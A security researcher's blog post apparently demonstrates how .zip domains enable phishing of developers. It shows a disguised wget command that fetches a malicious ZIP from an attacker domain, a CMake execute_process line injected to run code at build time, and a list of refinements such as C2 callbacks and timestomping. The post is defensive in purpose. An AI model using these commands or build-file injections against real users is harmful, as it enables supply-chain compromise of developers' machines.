Google recently launched the .zip
TLD, and Twitter has been up in arms. It’s hard to imagine that .zip
domains would be used for anything legitimate, and would instead give way to more creative phishing attacks. Accordingly, I quickly snagged source-code.zip
while these domains were rapidly being bought up, and showed an example of how it might be used to trick a software developer into downloading a malicious ZIP file—yet there are still some that quite reasonably ask, “Should we really be so concerned about .zip
TLDs?”
Hmm, so someone simultaneously savvy enough to be running wget from a terminal, but also unaware of what wget does might... get a different file than what their magical thinking suggests? 😀
— Will Dormann (@wdormann) May 13, 2023
Will’s brief explanation is spot on, but let’s break this attack down in a bit more detail. The short video at the beginning of this post demonstrates how an attacker may craft a seemingly benign Stack Overflow response to persuade a software developer to:
- Download a malicious ZIP file1 containing source code that appears to come from a trusted domain.
- Extract the ZIP file and compile the source code, inadvertently granting the attacker code execution via a malicious Makefile.
In the example above, we take a legitimate source code URL https://github.com/stricaud/faup/archive/refs/tags/v1.4.zip
2, snip off the end, and append our own zip domain:
https://github.com/stricaud/faup/archive/refs/tags/v1.4/ source-code.zip
The horizontal scroll overflow really works in our favor here. A reader is able to see https://github.com
, which immediately inspires some trust; if they bother to scroll to the right (I’ll give that a ⁵⁰⁄₅₀ chance), they’ll see wget -q https://github.com/stricaud/faup/archive/refs/tags/v1.4/ source-code.zip --content-disposition
3 and would have to look closely to notice the space character before source-code.zip
. Here’s how that Wget command works:
$ wget \
# Silence errors about the failed request to `github.com`.
--quiet \
# Respect the `Content-Disposition` header from `source-code.zip` which
# specifies the downloaded ZIP's filename.
--content-disposition \
# Wget allows multiple URLs. This first request will silently fail.
https://github.com/stricaud/faup/archive/refs/tags/v1.4/ \
# This second request will download to disk as `faup-1.4.zip`.
source-code.zip
# Note the `filename` in the `Content-Disposition` header.
$ curl -sLI source-code.zip | grep content-disposition
content-disposition: attachment; filename=faup-1.4.zip
In this example, I simply appended execute_process (COMMAND bash -c "touch /tmp/pwn")
to the Makefile faup-1.4/CMakeLists.txt
which results in /tmp/pwn
being created when the victim runs cmake ..
at the end of the video. This attack could be improved by:
- Timestomping the modified Makefile so it doesn’t stand out from the rest of the source code.
- Calling back to an attacker-controlled C2 server rather than simply creating a file.
- Registering a domain tailored to each attack instead of using the generic (but versatile)
source-code.zip
. For example,faup-v1.4.zip
passes with a higher score on the eyeball test:https://github.com/stricaud/faup/archive/refs/tags/ faup-v1.4.zip
- Coercing a user to download a release file containing a malicious compiled binary instead of source code. The high-level “download > extract > execute” flow is the same, but a user will have an easier time executing a binary than they will compiling source code, and a tampered binary will be more difficult to detect than a tampered build script.
- Using the
@
character (instead of a space) before the.zip
domain, likehttps://github.com∕stricaud∕faup∕archive∕refs∕tags∕v1.4∕@source-code.zip
. Credit to @bobbyrsec for this idea.
My recommendations:
- To network defenders: Since it seems so unlikely that this TLD will be used for any legitimate purpose, it’s probably reasonable to block all outbound requests to
.zip
domains. - To web enthusiasts: If you’re looking for a domain to host your blog, consider picking a TLD besides
.zip
since the network defenders above have probably already blocked it. - To software developers: Read before you paste.
-
See https://github.com/noperator/zip-snip for an example of how to create and deploy a malicious ZIP file using Cloudflare Pages. ↩︎
-
There’s nothing special about https://github.com/stricaud/faup that makes it vulnerable to this attack—it just happens to be my favorite CLI URL parser, and it has a relatively simple Makefile that I was able to easily modify. ↩︎
-
Note that cURL can similarly download multiple files while respecting
Content-Disposition
usingcurl -JLO [URL]...
, but the first failed request will prevent the second response from hitting disk. Not so for Wget, which allows the first request to fail while happily proceeding with the second URL. Unfortunately, Wget’s--content-disposition
doesn’t have a short equivalent. You could instead specify-O faup-1.4.zip
, but I think the given option is more elegant. Attacker’s preference. ↩︎